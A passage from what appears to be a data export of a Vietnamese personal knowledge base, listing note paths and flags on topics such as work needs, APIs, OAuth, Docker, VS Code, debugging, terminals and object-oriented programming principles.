cầu công việc", + "Nghiên cứu", + "Quản lý kiến thức và lập luận", + "Tổng quan tài liệu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Thu thập dữ liệu", + "Nghiên cứu người dùng, phát triển sản phẩm" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Thu thập dữ liệu", + "Nắm bắt xu hướng mạng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Thu thập dữ liệu", + "Tổng hợp những sự kiện sẽ diễn ra" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Nghiên cứu", + "Tra lại lịch sử ghi chép" +] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Nghiên cứu", "Viết bài" ] + +🚀: true +[ "", "📜Tài nguyên", "Nhu cầu công việc" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Vận hành", + "Chia sẻ lịch với nhau" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Vận hành", + "Gom tất cả thông tin lại vào một chỗ" +] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Vận hành", "Hậu cần" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Nhu cầu công việc", + "Vận hành", + "Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán" +] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Vận hành", "Tạo website" ] + +🚀: true +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Vận hành" ] + +🚀: false +[ "", "📜Tài nguyên", "Nhu cầu công việc", "Xây dựng kho tri thức" ] + +🚀: true +[ "", "📜Tài nguyên" ] + +🚀: false +[ "", "Nơi này là nơi nào" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Facebook", + "Các API thường dùng cho PHP" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Facebook", + "Facebook API" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Facebook", + "Fb hạn chế rất nhiều API để tránh việc làm nhái page" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Facebook", + "me-accounts liệt kê tất cả các page mình quản lý" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Fibery", + "Non-ASCII or non-English characters in field or database names will be transliterated to English" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API của từng dịch vụ", + "Google", + "Build service object" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "API đưa thông tin là thụ động. Webhook đưa thông tin chủ động" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "Cloud bản chất là đi thuê local của người khác" +] + +🚀: true +[ "", "✍️Lập trình", "Cloud, webhook, API" ] + +🚀: false +[ "", "✍️Lập trình", "Cloud, webhook, API", "GraphQL", "Endpoint" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "GraphQL", + "Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "GraphQL", + "Node với edge được gọi chung là endpoint" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Auth không phải là xác thực" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Authorization sinh ra access token để client sử dụng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Client gửi access token đến authorization server để được truy cập" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Client ID là để authorization server biết client nào là client nào, còn client secret là để nó đảm bảo rằng client này chính là client đó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Client là ứng dụng muốn truy cập vào dữ liệu của user" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "OAuth giúp vẫn biết user kể cả khi user đổi mật khẩu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Redirect URI là nơi" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "Scope là những phạm vi dữ liệu khi ứng dụng truy cập" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "OAuth, access token", + "❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "RESTful là REST không có hypermedia" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Cloud, webhook, API", + "Web service là những API dùng trên HTTP" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Container chỉ là một process" +] + +🚀: false +[ "", "✍️Lập trình", "Công cụ", "Docker", "Container là phù du" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Có vẻ như ngày xưa engine với daemon là một" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Docker Desktop tạo ra một máy ảo để chạy docker engine" +] + +🚀: true +[ "", "✍️Lập trình", "Công cụ", "Docker" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Engine bao gồm CLI client, API và deamon" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "exec để chạy lệnh cho một container đang chạy" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Image là template để chạy container" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Việc dựng image được thiết lập qua dockerfile" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Docker", + "Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Bấm F12 để biết thêm thông tin về biến" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Các biểu tượng dùng trong VS Code" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Dùng snippet để viết tắt code" +] + +🚀: false +[ "", "✍️Lập trình", "Công cụ", "IDE (VS Code)", "Giao diện VS Code" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Hằng là xanh lợt, biến là xanh đậm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "launch.json dùng để thiết lập debugger" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Phím tắt trong VS Code" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Plugin hay cho người mới" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "setting.json giúp tuỳ chỉnh thiết lập theo ý mình" +] + +🚀: false +[ "", "✍️Lập trình", "Công cụ", "IDE (VS Code)", "Video hướng dẫn" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "VS Code chỉ là code editor, không phải IDE" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "VS Code nhiều khi không tìm hết file được do tên quá dài" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "IDE (VS Code)", + "Đường dẫn trong launch.json là cwd" +] + +🚀: true +[ "", "✍️Lập trình", "Công cụ", "Log, test, debug", "Debugger" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Debugger", + "Dùng logpoint thay cho console.log() khi debug" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Debugger", + "Không cần viết hàm quản lý debug khi đã có logpoint" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Debugger", + "Launch vs attach" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Dễ xem kết quả các giá trị trong console debug hơn là ở Variables" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Log", + "console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ không phải vào lúc lệnh được thực thi" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Log", + "Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Log", + "Tổng quan về log" +] + +🚀: true +[ "", "✍️Lập trình", "Công cụ", "Log, test, debug" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Test", + "Lý do thấy test trước bất tiện" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Test", + "Tổng quan về kiểm thử phần mềm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Log, test, debug", + "Test", + "Unit test" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Công cụ", + "Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Admin privilege" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Bạn không cần dùng GUI" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "Dùng absolute path cho lành" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "PATH là đường dẫn mặc định tới những tập tin nhị phân (binary)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Path, env", + "Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Sự khác biệt giữa Windows và Android, Mac trong tên file" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "cmd vẫn được dùng để chạy exe" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "cmdlet dùng định dạng Verb-Noun" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "Các lệnh PowerShell thường dùng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "Dùng Where-Object nhanh hơn dùng -Filter" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "PowerShell là một ngôn ngữ shell" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "PowerShell", + "Windows Terminal có thể được kích hoạt trong Explorer" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "Shell là cái vỏ bảo vệ lõi của hệ điều hành" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "Subcomand không có gạch. Flag có gạch" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "Terminal là cái chương trình để làm việc với shell" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Terminal, shell, console", + "Terminal, console, shell và command line thường được dùng lẫn lộn với nhau" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Windows", + "Cài win mới" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Windows", + "Local app data" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Windows", + "Windows rất lằng nhằng trong việc thiết lập cấu hình" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Đường dẫn", + "Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Đường dẫn", + "Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Đường dẫn", + "Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Đường dẫn", + "Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Hệ điều hành, path và terminal", + "Đường dẫn", + "Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy" +] + +🚀: true +[ "", "✍️Lập trình", "Khái niệm cơ bản và nguyên lý lập trình" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "4 đặc điểm của lập trình hướng vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Biểu thức (expression) là những thứ trả lại một giá trị nào đó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hoạt động trung tâm của lập trình hướng vật thể là phân loại" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Giao diện là cái khuôn của phương thức" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Hàm cần gọi phải ở trong then" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Hàm vô danh chính là lambda" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Phương thức cho ta biết mình có thể làm gì với vật thể đó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Phương thức là một thuộc tính của vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Hàm", + "Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Mô đun", + "API là giao diện của một chương trình" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Mô đun", + "Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Mô đun", + "Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Mô đun", + "Nên tách bạch file util cho client và util cho server" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Mô đun", + "Package và library là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Lớp là một cái khuôn để tạo các vật thể cho nhanh" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Prototype là những thuộc tính không cần tạo ra cũng có sẵn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Khái niệm cơ bản về lập trình hướng vật thể", + "Vật thể, lớp", + "Vật thể được tạo nên bởi những thuộc tính" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Bộ nguyên lý SOLID giúp phần mềm dễ bảo trì, dễ mở rộng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Cái trừu tượng không nên phụ thuộc vào những cái cụ thể mà những cái cụ thể nên phụ thuộc vào cái trừu tượng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Cấu trúc dữ liệu", + "Mảng các vật thể và mảng các mảng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Cấu trúc dữ liệu", + "Mặc dù mảng lưu giữ thứ tự, nhưng nhiều khi ta không quan tâm đến thứ tự đó cho lắm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Mẫu thiết kế (design pattern) là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Stable = the APIs are not expected to change in a breaking way. Production ready = supports its intended usecases and doesn't contain major bugs." +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Thành phần chương trình", + "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được." +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Thành phần chương trình", + "Model không biết đến View, View không biết đến Controller" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Block comment dành cho việc giải thích ý tưởng của code, viết doc. Line comment để debug hoặc hướng dẫn editor đọc code của mình (directive)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một dạng comment" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Comment có thể cho thông tin sai, nhưng code thì không" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Hãy viết code sao cho mình khỏi comment" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment", + "Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó" +] + +🚀: true +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Viết comment" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Đơn nhiệm", + "Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Đơn nhiệm", + "Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Đơn nhiệm", + "Tránh dùng hàm lồng để làm giảm sự couple" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Nguyên lý", + "Đơn nhiệm", + "Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Quy ước đặt tên biến" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "toString hoặc href sẽ luôn thêm slash vào sau" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Khái niệm cơ bản và nguyên lý lập trình", + "Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Các ký tự đặc biệt trong các ngôn ngữ khác nhau" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "AutoHotKey", + "AutoHotkey combines 3 concepts into 1 built-in basic object type" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "AutoHotKey", + "Tạo phím tắt bằng AutoHotKey" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + "Biến và hàm", + "Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ngôn ngữ", + "Ngôn ngữ lập trình", + "JavaScript và Python", + "JavaScript", + 